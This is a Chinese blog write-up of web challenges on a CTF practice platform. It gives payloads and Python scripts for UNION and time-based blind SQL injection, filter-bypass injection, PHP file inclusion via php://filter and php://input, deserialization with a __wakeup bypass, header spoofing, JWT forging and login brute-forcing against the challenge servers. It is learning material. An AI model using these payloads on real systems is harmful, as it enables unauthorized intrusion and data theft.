ctf__論劍場web 部分writeip

1.頭像

這題坑哭我了,還是自己太菜啊(QWQ)。進入網址得到一張圖片,直接放到winhex裏面查找文本,輸入flag,就能找到flag,然後將裏面的字符base64解密,然後在md5加密提交flag,一開始沒有base64解密,提交很多次都沒有成功。嗚嗚嗚。圖片在下面。在這裏插入圖片描述

2.簽到題

答案直接給出來了。

3.0和1的故事

emmmmm不會

4.web1

打開網頁是一張圖片在這裏插入圖片描述變量覆蓋extract,所以payload爲http://123.206.31.85:10001/?a=&b=11 得出flag

5.web2

eval進去直接寫python腳本(基於python3)

import requests
import re

url1="http://123.206.31.85:10002/"
s=requests.session()
r=s.post(url=url1)
res="<br/>\s+(.*?)</p>"
math=re.findall(res,r.content.decode("utf-8"))
math=str(math)[2:-2]
print(math)
math=(eval(math))
result={
"result":math
}
r=s.post(url=url1,data=result)
print(r.content.decode('utf-8'))

6.web5

sql注入payload如下:

47.95.208.167:10005/?mod=read&id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema=database() --
47.95.208.167:10005/?mod=read&id=-1 union select 1,2,column_name,4 from information_schema.columns where table_name="flag" --
47.95.208.167:10005/?mod=read&id=-1 union select 1,2,concat(flag),6 from flag --

7.web6

右鍵查看源代碼拉到最下面,發現有一個base64加密的字符串,解密後爲test123,猜測就是密碼,然後輸入admin test123,發現本地管理員登陸,抓包,改爲x-forwarded-for:127.0.0.1 得出flag。在這裏插入圖片描述
在這裏插入圖片描述

8.web11

右鍵查看源碼看到robot,那就查看robots.txt 發現shell.php 然後訪問,substr(md5(), 0, 6) = 5b4141是個這玩意,那就直接寫python腳本吧。(基於python3)

import hashlib
def makemd5(s):
	return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1,99999990):
	if(makemd5(str(i))[0:6]=='5b4141'):
		print (i)
		break

9.web13

抓包repeater,發現有password,和hint,然後password的值解密,然後把解密的值post進去,速度要快,如果不夠快,那就python腳本來吧。代碼如下(基於python3)

import requests
import base64
url="http://123.206.31.85:10013/index.php"
s=requests.session()
r=s.post(url=url)
password=r.headers['password']
password=base64.b64decode(password.encode('utf-8'))
password=str(password)[7:-2]
payload={
'password':password
}
r=s.post(url=url,data=payload)
print(r.content.decode("utf-8"))

10.web18

sql注入題
測試1’ 無回顯,1’ --+有回顯 說明這是單引號閉合,繼續測試發現他把and or union select 過濾了,雙寫繞過成功,那就可以構造payload:z

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+

注意information or要雙寫

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="flag" --+
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(flag),3 from flag --+

得出flag

11.web20

python大法好,已經碰過很多次類似的題目了。(基於python3)

import re
import requests

for i in range(1,10):
	url="http://123.206.31.85:10020/"
	s=requests.session()
	r=s.get(url=url)
	res="[0-9a-z]+"
	key=re.findall(res,r.content.decode("utf-8"))
	key=str(key[0])
	url1=url+"?key="+key
	print(url1)
	r=s.get(url=url1)
	print(r.content.decode("utf-8"))

掛代理的把代理關了跑腳本。

12.web25

打開頁面發現是一個html,然後我用御劍跑了一下,發現有shell.php,進入shell.php發現這原來纔是真正的登陸框。然而應該提交什麼呢?在之前那個html頁面有一個下載鏈接,點進去,再點進去,發現url變成了http://123.206.31.85:10025/2/ziidan.txt
發現404,於是嘗試一下將/2去掉髮現了一些文字。

asdhjk
dakjhkjwq
adkjhsdk
fkdjknbv
dkajshdlj
hjsjnb
sdalkj
flagf
sfksjhwqe
dsalkjlkqjwe
hsjnb

一個一個試一下吧,反正也不多,發現最後一個可以在shell.php頁面提交成功。得到flag。

13.web3

一開始看這個題目以爲是個文件長傳漏洞,怎麼嘗試都沒有用,看了密圈之後,沒想到是一個文件包含問題,QWQ。payload如下:php://filter/read=convert.base64-encode/resource=flag。

14.web4

萬能密碼 username:admin password:'or 1=1 #

15.web8

hint提示vim 那肯定和vim非正常關閉有關,vim非正常關閉會產生swp,所以url爲http://123.206.31.85:10015/index.php?id=swp&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2# url中id要改爲swp,還要把1改爲i。

16.web14

提示備份 用weakscan掃一下 發現.git/config 那就githack 啊 嘻嘻嘻,直接搞到flag.php。

17.web21

查看源代碼如下

you are not admin !  
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

file_get_contents讀取文件內容,那就用這個方法file_get_contents(‘php://input’),然後將admin這個內容post過去。接着下面include($file),include有什麼作用呢?w3school上是這樣解釋的通過 include 或 require 語句,可以將 PHP 文件的內容插入另一個 PHP 文件(在服務器執行它之前)。那麼我們可以通過僞協議php://filter去讀取源碼這樣base64加密後的代碼就能顯示在頁面上了。所以payload如下
在這裏插入圖片描述解碼後的結果

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>[Finished in 0.2s]

__toString這個魔術方法會自動調用,那就反序列化 ,反序列化後的值估計就傳給那個pass啦,代碼如下

<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
$a=new Read("f1a9.php");
$a->file="f1a9.php";
$a=serialize($a);
echo $a;

運行就行了,得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
最終payload爲

http://123.206.31.85:10021/?user=php://input&file=php://filter/read=convert.base-encode/resource=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:8:%22f1a9.php%22;}

記得要post admin過去。然後F12就能查看到flag啦。

18.web23

頁面首先告訴我們用時間戳當驗證碼,那肯定是想讓我們爆破了,然後用御劍掃描一下,可以發現有5個網頁,其中readme.txt我打開中文變成了亂碼,然後我就用了curl命令,如下圖。
在這裏插入圖片描述
然後嘗試訪問一下/admin/login.php 發現是彈框,繼續訪問/admin/login.html 發現了登陸界面。然後開始寫python腳本(基於python3),但不知道爲什麼就是不能成功,emmmm好鬱悶。

import requests
import time

url1='http://123.206.31.85:10023/admin/login.html'
cookie={
	'Cookie':'PHPSESSID='
}
for i in range(1,1000):
	t=time.time()
	t=str(int(t))
	yanzhengma=t[5:10]
	payload={
	'username':'admin','password':'%03d' %i,'verifycode':yanzhengma
	}
	r=requests.get(url=url1,data=payload,cookies=cookie)
	if 'flag' in r.content.decode("utf-8"):
		print (r.content.decode("utf-8"))
	else:
		print(str(i)+"   "+yanzhengma)
		

這題就先放這裏吧,我去問問。QWQQWQQWQ

19.web7

題目是發給你小餅乾,那肯定和cookie有關係,發現隨便怎麼都能登陸進去,那查看一下cookie,發現了規律,前面10個數字都是一樣的,後面的32位是md5加密,那直接把u r 都改爲admin的md5加密,就行了。如下圖所示,然後f5一下就能得到flag了。
在這裏插入圖片描述

20.web12

題目掛了。。。。。(ˉ▽ˉ;)…

21.web24

打開網址,發現是一個網購,查看了一下源代碼也沒有發現什麼東西,然後用dirsearch掃描了一下,發現有一個/index/ ,那就訪問一下吧。訪問的結果如下

 <?php 
class Small_white_rabbit{ 
    private $file = 'index.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the_f1ag.php 
            $this->file = 'index.php'; 
        } 
    } 
} 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    @unserialize($var); 
} else { 
    highlight_file("index.php"); 
} 
?>

原來是反序列化的題目啊,這題需要繞過的就只有__wakeup這個魔法函數,那就很簡單了,複製一下class的代碼,到本地上。

<?php 
class Small_white_rabbit{ 
    private $file = 'index.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the_f1ag.php 
            $this->file = 'index.php'; 
        } 
    } 
}
$flag=new Small_white_rabbit('the_f1ag.php');
$flag=serialize($flag);
$flag = str_replace(':1:', ':2:' ,$flag);
echo base64_encode($flag);



要繞過wakeup只需要它的成員大於實際的,所以把1該爲2就行了,然後base64加密後輸出,所以payload爲123.206.31.85:10024/index/?var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

22.web10

題目開頭說jwt,然後就去看了一下jwt是什麼,(請自行查找文章)。點進網頁,隨便輸了一些,沒用。查看源代碼,發現了hint,嘗試了一下是base32解碼,解碼後的結果爲
在這裏插入圖片描述 那username輸入kk password輸入kk123.成功!返回如下界面
在這裏插入圖片描述
那訪問一下http://123.206.31.85:3032/ ,下載swp文件,然後放到linux裏面修復一下,發現裏面又key,const KEY = 'L3yx----++++----';那就很好辦了,直接修改token就行了,推薦一個網站https://jwt.io/
在這裏插入圖片描述iat和exp之間相差5s,你修改的時候要算好時間,他的有效時間只有5s。account要改爲L3yx,最下面那個地方就填key。然後將encode之後的字符串複製下來,放到burp裏發包,即可得到flag。
在這裏插入圖片描述

23.web19

git源碼泄露有一個flag.txt,然後這個好像被別的人給破壞了原來的提示應該是
Hint 1: flag is in /eXpl0ve5p0cVeRymuCh。
,然後進去這個地方,發現是一個盲注,腳本或者sqlmap都可以。下面是一個簡單的腳本,自行修改。(基於python3)

import requests
import string

s=requests.session()
url='http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php'
table=""
for i in range(1,20):
	for j in range(31,128):
		try:
			payload="admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%s,1))=%s,sleep(5),1) #" %(str(i),str(j))
			data={
				'username':payload
			}
			ra=s.post(url=url,data=data,timeout=3)
		except:
			table+=chr(j)
			print(table)
print(table)
			

最後結果爲
在這裏插入圖片描述

在這裏插入圖片描述

登進去後是snow隱寫,然後還有一個序列化,很簡單。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章